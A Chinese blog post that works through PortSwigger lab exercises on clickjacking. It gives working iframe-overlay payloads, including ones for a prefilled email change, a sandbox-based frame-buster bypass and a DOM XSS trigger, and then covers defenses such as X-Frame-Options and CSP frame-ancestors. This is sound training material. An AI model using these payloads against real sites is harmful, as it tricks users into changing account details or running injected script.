侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

点击劫持

咿呀咿呀
2022-04-16 / 0 评论 / 0 点赞 / 289 阅读 / 5,675 字
温馨提示:
本文最后更新于 2022-04-16,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

所有内容,来自burpsuite官方靶场(portswigger)

点击劫持(UI修复)

image-20211019210942958

什么是点击劫持?

​ 点击劫持是一种基于界面的攻击,通过点击诱饵网站中的一些其他内容,诱使用户点击隐藏网站上的可操作内容。考虑以下示例:

​ 网络用户访问诱饵网站(可能这是电子邮件提供的链接)并单击按钮以赢取奖品。不知不觉中,他们被攻击者欺骗,按下了一个替代的隐藏按钮,这导致在另一个网站上支付一个帐户。这是一个点击劫持攻击的例子。该技术取决于在 iframe 中包含一个不可见的、可操作的网页(或多个页面),其中包含一个按钮或隐藏链接。iframe 覆盖在用户预期的诱饵网页内容之上。这种攻击与CSRF攻击的不同之处在于,用户需要执行诸如单击按钮之类的操作,而CSRF 攻击则依赖于在用户不知情或不输入的情况下伪造整个请求。

​ 对 CSRF 攻击的保护通常是通过使用CSRF 令牌来提供的:特定于会话的一次性号码或随机数。CSRF 令牌不会减轻点击劫持攻击,因为目标会话是使用从真实网站加载的内容建立的,并且所有请求都发生在域上。CSRF 令牌被放入请求中并作为正常行为会话的一部分传递给服务器。与普通用户会话相比的不同之处在于该过程发生在隐藏的 iframe 中。

如何构建基本的点击劫持攻击

​ 点击劫持攻击使用 CSS 来创建和操作图层。攻击者将目标网站合并为覆盖在诱饵网站上的 iframe 层。使用样式标签和参数的示例如下:

<head>
  <style>
    #target_website {
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;
      z-index:2;
      }
    #decoy_website {
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;
      }
  </style>
</head>
...
<body>
  <div id="decoy_website">
  ...decoy web content here...
  </div>
  <iframe id="target_website" src="https://vulnerable-website.com">
  </iframe>
</body>

​ 目标网站 iframe 位于浏览器内,以便使用适当的宽度和高度位置值将目标操作与诱饵网站精确重叠。无论屏幕大小、浏览器类型和平台如何,绝对和相对位置值用于确保目标网站准确地与诱饵重叠。z-index 确定 iframe 和网站层的堆叠顺序。不透明度值定义为 0.0(或接近 0.0),以便 iframe 内容对用户透明。浏览器点击劫持保护可能会应用基于阈值的 iframe 透明度检测(例如,Chrome 76 版包含此行为,但 Firefox 不包含)。攻击者选择不透明度值,以便在不触发保护行为的情况下达到预期效果。

LAB:具有CSRF令牌保护的基本点击劫持

具体的像素值得一一尝试

<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.5;
       z-index: 2;
   }
   div {
       position:absolute;
       top:493px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="https://acd41f1b1f2900d2c0410f9500790046.web-security-academy.net/my-account"></iframe>

image-20220413112949486

https://exploit-ac411f4f1e6aea7cc0ad11dd0129004a.web-security-academy.net/exploit

image-20211019212407432

使用预填表单输入进行点击劫持

​ 一些需要表单完成和提交的网站允许在提交之前使用 GET 参数预填充表单输入。其他网站可能需要在提交表单之前输入文本。由于 GET 值构成 URL 的一部分,因此可以修改目标 URL 以包含攻击者选择的值,并且透明的“提交”按钮覆盖在诱饵站点上,如基本的点击劫持示例。

LAB:使用URL参数预填充的表单输入数据进行点击劫持
<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.5;
       z-index: 2;
   }
   div {
       position:absolute;
       top:445px;
       left:80px;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe src="https://ac9d1ff31eb7df39c0d6efcc003b00d7.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

image-20211019224625647

帧破坏脚本

​ 只要网站可以被陷害,就可能进行点击劫持攻击。因此,预防性技术基于限制网站的框架功能。通过 Web 浏览器制定的常见客户端保护是使用框架破坏或框架破坏脚本。这些可以通过专有浏览器 JavaScript 附加组件或扩展程序(例如 NoScript)来实现。脚本通常经过精心设计,以便它们执行以下部分或全部行为:

  • 检查并强制当前应用程序窗口是主窗口或顶部窗口,
  • 使所有帧可见,
  • 防止点击隐形框架,
  • 拦截并向用户标记潜在的点击劫持攻击。

帧破坏技术通常是特定于浏览器和平台的,并且由于 HTML 的灵活性,它们通常可以被攻击者规避。由于帧破坏者是 JavaScript,因此浏览器的安全设置可能会阻止其运行,或者浏览器甚至可能不支持 JavaScript。针对框架破坏者的有效攻击者解决方法是使用 HTML5 iframesandbox属性。当使用allow-formsorallow-scripts值设置此值并且allow-top-navigation省略该值时,可以中和 frame buster 脚本,因为 iframe 无法检查它是否是顶部窗口:

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

​ 无论是allow-formsallow-scripts值允许的iframe,但顶级导航中指定的行为被禁止。这会抑制框架破坏行为,同时允许目标站点内的功能。

LAB:使用帧破坏脚本进行点击劫持
<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: 0.5;
       z-index: 2;
   }
   div {
       position:absolute;
       top:445px;
       left:80px;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe sandbox="allow-forms"
src="https://ac871fc21e842238c0488b08005e0015.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

image-20211019230015682

将点击劫持与DOM XSS攻击相结合

​ 到目前为止,我们已经将点击劫持视为一种独立的攻击。从历史上看,点击劫持已被用于执行行为,例如在 Facebook 页面上增加“喜欢”。然而,当点击劫持被用作另一种攻击(例如DOM XSS攻击)的载体时,它的真正威力就会显现出来。假设攻击者首先识别了 XSS 漏洞,则这种组合攻击的实施相对简单。然后将 XSS 漏洞与 iframe 目标 URL 结合起来,以便用户单击按钮或链接,从而执行 DOM XSS 攻击。

LAB:利用点击劫持漏洞触发基于DOM的XSS
<style>
   iframe {
       position:relative;
       width:500px;
       height: 700px;
       opacity: $opacity;//0.1
       z-index: 2;
   }
   div {
       position:absolute;
       top:445px;
       left:80px;
       z-index: 1;
   }
</style>
<div>Test me</div>
<iframe
src="https://ac811fc71e77db10c0730e340025004b.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
image-20211019231503158 image-20211019231512808

image-20211019231634600

多步点击劫持

​ 攻击者对目标网站输入的操纵可能需要采取多项行动。例如,攻击者可能想要诱使用户从零售网站购买商品,因此需要在下订单之前将商品添加到购物篮中。攻击者可以使用多个分区或 iframe 来实现这些操作。从攻击者的角度来看,此类攻击需要相当精确和谨慎,才能有效和隐蔽。

LAB:多步点击劫持
<style>
   iframe {
       position:relative;
       width:500px;
       height: 685px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:495px;
       left:50px;
       z-index: 1;
   }
   .secondClick {
       top:300px;
       left:280px;
   }
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="https://ac841f821fa5e42dc0264038006c005d.web-security-academy.net/my-account"></iframe>

如何防止点击劫持

​ 们已经讨论了一种常见的浏览器端预防机制,即帧破坏脚本。但是,我们已经看到,攻击者通常很容易绕过这些保护措施。因此,已经设计出服务器驱动的协议来限制浏览器 iframe 的使用并减轻点击劫持。

​ 点击劫持是浏览器端的行为,其成功与否取决于浏览器功能以及是否符合现行 Web 标准和最佳实践。服务器端针对点击劫持的保护是通过定义和传达对组件(如 iframe)使用的约束来提供的。但是,保护的实施取决于浏览器的合规性和这些约束的实施。服务器端点击劫持保护的两种机制是 X-Frame-Options 和Content Security Policy

X-Frame-Options

​ X-Frame-Options 最初是作为 Internet Explorer 8 中的非官方响应标头引入的,它很快被其他浏览器采用。标题为网站所有者提供对 iframe 或对象使用的控制,以便可以使用deny指令禁止在框架中包含网页:

X-Frame-Options: deny

或者,可以使用sameorigin指令 将框架限制为与网站相同的来源

X-Frame-Options: sameorigin

或使用allow-from指令访问指定网站:

X-Frame-Options: allow-from https://normal-website.com

X-Frame-Options 在浏览器中的实现不一致(allow-from例如,Chrome 76 版或 Safari 12 不支持该指令)。但是,当与内容安全策略一起作为多层防御策略的一部分正确应用时,它可以提供针对点击劫持攻击的有效保护。

内容安全策略(CSP)

​ 内容安全策略 (CSP) 是一种检测和预防机制,可缓解 XSS 和点击劫持等攻击。CSP 通常在 Web 服务器中实现为表单的返回标头:

Content-Security-Policy: policy

其中 policy 是一串由分号分隔的策略指令。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些信息用于检测和拦截恶意行为。

推荐的点击劫持保护是frame-ancestors在应用程序的内容安全策略中加入该指令。该frame-ancestors 'none'指令的行为类似于 X-Frame-Optionsdeny指令。该frame-ancestors 'self'指令大致等同于 X-Frame-Optionssameorigin指令。以下 CSP 仅将帧列入同一域的白名单:

Content-Security-Policy: frame-ancestors 'self';

或者,可以将框架限制为命名站点:

Content-Security-Policy: frame-ancestors normal-website.com;

为了有效对抗点击劫持和 XSS,CSP 需要仔细开发、实施和测试,并应作为多层防御策略的一部分。

0

评论区